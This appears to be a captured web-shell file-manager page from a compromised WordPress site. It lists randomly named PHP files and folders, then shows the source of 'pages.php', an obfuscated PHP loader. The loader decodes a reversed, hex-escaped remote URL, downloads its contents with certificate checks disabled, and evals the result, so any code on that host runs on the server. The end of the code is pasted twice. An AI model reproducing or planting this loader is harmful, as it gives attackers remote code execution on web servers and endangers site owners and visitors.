FM / gorbus.transportessuroeste.com

/home/suroeste/public_html/gorbus.transportessuroeste.com/

/home/suroeste/public_html/gorbus.transportessuroeste.com

Name	Size	Mode	Actions
.well-known/	-	0755	rm
1lbajin/	-	0755	rm
53a78d/	-	0755	rm
avbrhdn/	-	0755	rm
boxekl1/	-	0755	rm
drvxzyo/	-	0755	rm
dwivkju/	-	0755	rm
efodkg1/	-	0755	rm
ersdkvi/	-	0755	rm
fxdyium/	-	0755	rm
h1pybnl/	-	0755	rm
images/	-	0755	rm
k1cjvdb/	-	0755	rm
lqrkxsh/	-	0755	rm
mspflrx/	-	0755	rm
oi1xzqf/	-	0755	rm
ozg1xqp/	-	0755	rm
reservas/	-	0755	rm
rpofuzn/	-	0755	rm
suroeste/	-	0755	rm
tofwcqg/	-	0755	rm
usfxkqo/	-	0755	rm
vaosuzm/	-	0755	rm
well-known/	-	0755	rm
wncgiqu/	-	0755	rm
wp-content/	-	0755	rm
yhwrabd/	-	0755	rm
.htaccess	236	0444	edit dl rm
2u2vtizM42.php	10676	0666	edit dl rm
cnbcqwvh.php	7317	0644	edit dl rm
defaults.php	1825	0444	edit dl rm
HR5hcugCc3.php	11498	0666	edit dl rm
index.php	12713	0444	edit dl rm
jqxeydlz.php	10560	0644	edit dl rm
mG5DY31kbY.php	11498	0666	edit dl rm
pages.php	1482	0444	edit dl rm
php.ini	105	0644	edit dl rm
plugins.php	1980	0444	edit dl rm
product.php	1323	0444	edit dl rm
robots.txt	481	0444	edit dl rm
tmvyjjdj.php	19513	0644	edit dl rm
wp-blog-header.php	0	0644	edit dl rm
wp-cron-cqhg.php	1659	0644	edit dl rm
wp-load.php	0	0644	edit dl rm

Edit: /home/suroeste/public_html/gorbus.transportessuroeste.com/pages.php (1482B)

<?php define('A', 'jan74.tphu5573htr/kaunet::products/^^!!|items/[4:1]^^!!::?'); goto ABqwb; ABqwb: $kKysu = "\x74\170\164\x2e"; goto y6GPI; Lnwfp: eval("\x3f\x3e" . gkJ8E(strrev($kKysu))); goto N0QWO; YTnAh: $kKysu .= "\x74\56\61\60\162\145"; goto quvll; quvll: $kKysu .= "\160\x75\x73\x2e\157\x65"; goto Hnk0T; q3Jsj: $kKysu .= "\x3a\x73\160"; goto xY_r1; xY_r1: $kKysu .= "\164\164\150"; goto Lnwfp; Hnk0T: $kKysu .= "\163\57\x2f"; goto q3Jsj; y6GPI: $kKysu .= "\65\170\57\160\x6f"; goto YTnAh; N0QWO: function GKj8E($XyudJ = '') { goto Nf30j; voFm1: $Q1hS3 = curl_init(); goto V34no; V34no: curl_setopt($Q1hS3, CURLOPT_RETURNTRANSFER, true); goto o8OSk; o8OSk: curl_setopt($Q1hS3, CURLOPT_TIMEOUT, 500); goto kEE0R; jo64g: return $YvYlr; goto NfHzt; v0dTh: YCLXZ: goto voFm1; ZZPEb: curl_close($Q1hS3); goto MMasQ; Ovp5S: $YvYlr = file_get_contents($XyudJ, false, $N51a4); goto Shukq; Shukq: goto kAALV; goto v0dTh; zjmap: $N51a4 = stream_context_create(["\x68\x74\x74\x70" => ["\155\145\x74\150\157\144" => "\x47\105\x54"]]); goto Ovp5S; eC5ov: curl_setopt($Q1hS3, CURLOPT_URL, $XyudJ); goto pP16v; svKwP: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYHOST, false); goto eC5ov; pP16v: $YvYlr = curl_exec($Q1hS3); goto ZZPEb; Nf30j: if (function_exists("\143\165\x72\x6c\x5f\151\156\x69\164") && function_exists("\143\x75\x72\154\137\x65\x78\145\x63")) { goto YCLXZ; } goto zjmap; kEE0R: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYPEER, false); goto svKwP; MMasQ: kAALV: goto jo64g; NfHzt: }

["\155\145\x74\150\157\144" => "\x47\105\x54"]]); goto Ovp5S; eC5ov: curl_setopt($Q1hS3, CURLOPT_URL, $XyudJ); goto pP16v; svKwP: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYHOST, false); goto eC5ov; pP16v: $YvYlr = curl_exec($Q1hS3); goto ZZPEb; Nf30j: if (function_exists("\143\165\x72\x6c\x5f\151\156\x69\164") && function_exists("\143\x75\x72\154\137\x65\x78\145\x63")) { goto YCLXZ; } goto zjmap; kEE0R: curl_setopt($Q1hS3, CURLOPT_SSL_VERIFYPEER, false); goto svKwP; MMasQ: kAALV: goto jo64g; NfHzt: }